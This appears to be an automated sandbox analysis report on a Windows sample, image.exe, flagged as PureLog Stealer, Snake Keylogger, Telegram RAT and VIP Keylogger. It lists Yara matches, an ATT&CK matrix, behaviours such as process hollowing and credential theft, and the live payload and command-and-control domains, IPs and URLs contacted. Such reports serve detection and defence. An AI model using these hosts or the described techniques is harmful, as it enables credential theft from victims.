            Source: Yara matchFile source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964961500.0000000025FDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2966303963.0000000027BCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 7416, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 7688, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 8008, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Yara detected PureLog Stealer
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Yara detected Snake Keylogger
            Source: Yara matchFile source: 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Yara detected Telegram RAT
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 7416, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 7688, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 8008, type: MEMORYSTR
            Yara detected VIP Keylogger
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964961500.0000000026094000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 7416, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 7688, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 8008, type: MEMORYSTR

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure1
            Valid Accounts            		2
            Native API            		1
            DLL Side-Loading            		1
            DLL Side-Loading            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		1
            System Time Discovery            		Remote Services11
            Archive Collected Data            		1
            Web Service            		Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault Accounts1
            Shared Modules            		1
            Valid Accounts            		1
            Valid Accounts            		11
            Deobfuscate/Decode Files or Information            		LSASS Memory1
            System Network Connections Discovery            		Remote Desktop Protocol1
            Data from Local System            		3
            Ingress Tool Transfer            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain Accounts2
            Command and Scripting Interpreter            		1
            Registry Run Keys / Startup Folder            		1
            Access Token Manipulation            		3
            Obfuscated Files or Information            		Security Account Manager1
            File and Directory Discovery            		SMB/Windows Admin Shares1
            Email Collection            		11
            Encrypted Channel            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook312
            Process Injection            		3
            Software Packing            		NTDS36
            System Information Discovery            		Distributed Component Object ModelInput Capture1
            Non-Standard Port            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script1
            Registry Run Keys / Startup Folder            		1
            Timestomp            		LSA Secrets1
            Query Registry            		SSHKeylogging3
            Non-Application Layer Protocol            		Scheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
            DLL Side-Loading            		Cached Domain Credentials341
            Security Software Discovery            		VNCGUI Input Capture124
            Application Layer Protocol            		Data Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items11
            Masquerading            		DCSync41
            Virtualization/Sandbox Evasion            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
            Valid Accounts            		Proc Filesystem3
            Process Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
            Access Token Manipulation            		/etc/passwd and /etc/shadow1
            Application Window Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
            IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron41
            Virtualization/Sandbox Evasion            		Network Sniffing1
            System Network Configuration Discovery            		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
            Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd312
            Process Injection            		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1583390 Sample: image.exe Startdate: 02/01/2025 Architecture: WINDOWS Score: 100 53 reallyfreegeoip.org 2->53 55 api.telegram.org 2->55 57 4 other IPs or domains 2->57 69 Suricata IDS alerts for network traffic 2->69 71 Found malware configuration 2->71 73 Malicious sample detected (through community Yara rule) 2->73 79 18 other signatures 2->79 8 image.exe 1 10 2->8         started        13 Pumyophn.PIF 5 2->13         started        15 Pumyophn.PIF 2->15         started        signatures3 75 Tries to detect the country of the analysis system (by using the IP) 53->75 77 Uses the Telegram API (likely for C&C communication) 55->77 process4 dnsIp5 59 fodoknotel.za.com 23.237.26.135, 443, 49730, 49731 COGENT-174US United States 8->59 37 C:\Users\Public\Libraries\nhpoymuP.pif, PE32 8->37 dropped 39 C:\Users\Public\Libraries\Pumyophn.PIF, PE32 8->39 dropped 41 C:\Users\Public\Pumyophn.url, MS 8->41 dropped 43 2 other malicious files 8->43 dropped 81 Drops PE files with a suspicious file extension 8->81 83 Writes to foreign memory regions 8->83 85 Allocates memory in foreign processes 8->85 87 Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent) 8->87 17 nhpoymuP.pif 15 3 8->17         started        21 cmd.exe 1 8->21         started        89 Multi AV Scanner detection for dropped file 13->89 91 Machine Learning detection for dropped file 13->91 93 Sample uses process hollowing technique 13->93 23 nhpoymuP.pif 2 13->23         started        25 cmd.exe 13->25         started        95 Sample is not signed and drops a device driver 15->95 97 Allocates many large memory junks 15->97 27 nhpoymuP.pif 15->27         started        29 cmd.exe 15->29         started        file6 signatures7 process8 dnsIp9 45 checkip.dyndns.com 193.122.130.0, 49732, 49733, 49740 ORACLE-BMC-31898US United States 17->45 61 Detected unpacking (changes PE section rights) 17->61 63 Detected unpacking (overwrites its own PE header) 17->63 31 conhost.exe 21->31         started        47 mail.techniqueqatar.com 208.91.198.176, 49773, 49799, 587 PUBLIC-DOMAIN-REGISTRYUS United States 23->47 49 api.telegram.org 149.154.167.220, 443, 49765, 49772 TELEGRAMRU United Kingdom 23->49 51 reallyfreegeoip.org 188.114.97.3, 443, 49741, 49742 CLOUDFLARENETUS European Union 23->51 33 conhost.exe 25->33         started        65 Tries to steal Mail credentials (via file / registry access) 27->65 67 Tries to harvest and steal browser information (history, passwords, etc) 27->67 35 conhost.exe 29->35         started        signatures10 process11

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            image.exe16%ReversingLabs
            image.exe100%Joe Sandbox ML

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\Public\Libraries\Pumyophn.PIF100%Joe Sandbox ML
            C:\Users\Public\Libraries\Pumyophn.PIF16%ReversingLabs
            C:\Users\Public\Libraries\nhpoymuP.pif3%ReversingLabs

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://fodoknotel.za.com:443/233_Pumyophnrerhv0%Avira URL Cloudsafe
            http://checkip.dyndnL0%Avira URL Cloudsafe
            https://fodoknotel.za.com/233_Pumyophnre0%Avira URL Cloudsafe
            https://fodoknotel.za.com/233_Pumyophnrer0%Avira URL Cloudsafe
            http://mail.techniqueqatar.com0%Avira URL Cloudsafe
            https://fodoknotel.za.com/d0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            fodoknotel.za.com
            		23.237.26.135
            		truetrue
              		unknown
              reallyfreegeoip.org
              		188.114.97.3
              		truefalse
                		high
                mail.techniqueqatar.com
                		208.91.198.176
                		truetrue
                  		unknown
                  api.telegram.org
                  		149.154.167.220
                  		truefalse
                    		high
                    checkip.dyndns.com
                    		193.122.130.0
                    		truefalse
                      		high
                      checkip.dyndns.org
                      		unknown
                      		unknownfalse
                        		high

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        https://reallyfreegeoip.org/xml/8.46.123.189false
                          		high
                          http://checkip.dyndns.org/false
                            		high
                            https://fodoknotel.za.com/233_Pumyophnrertrue
                            • Avira URL Cloud: safe
                            		unknown
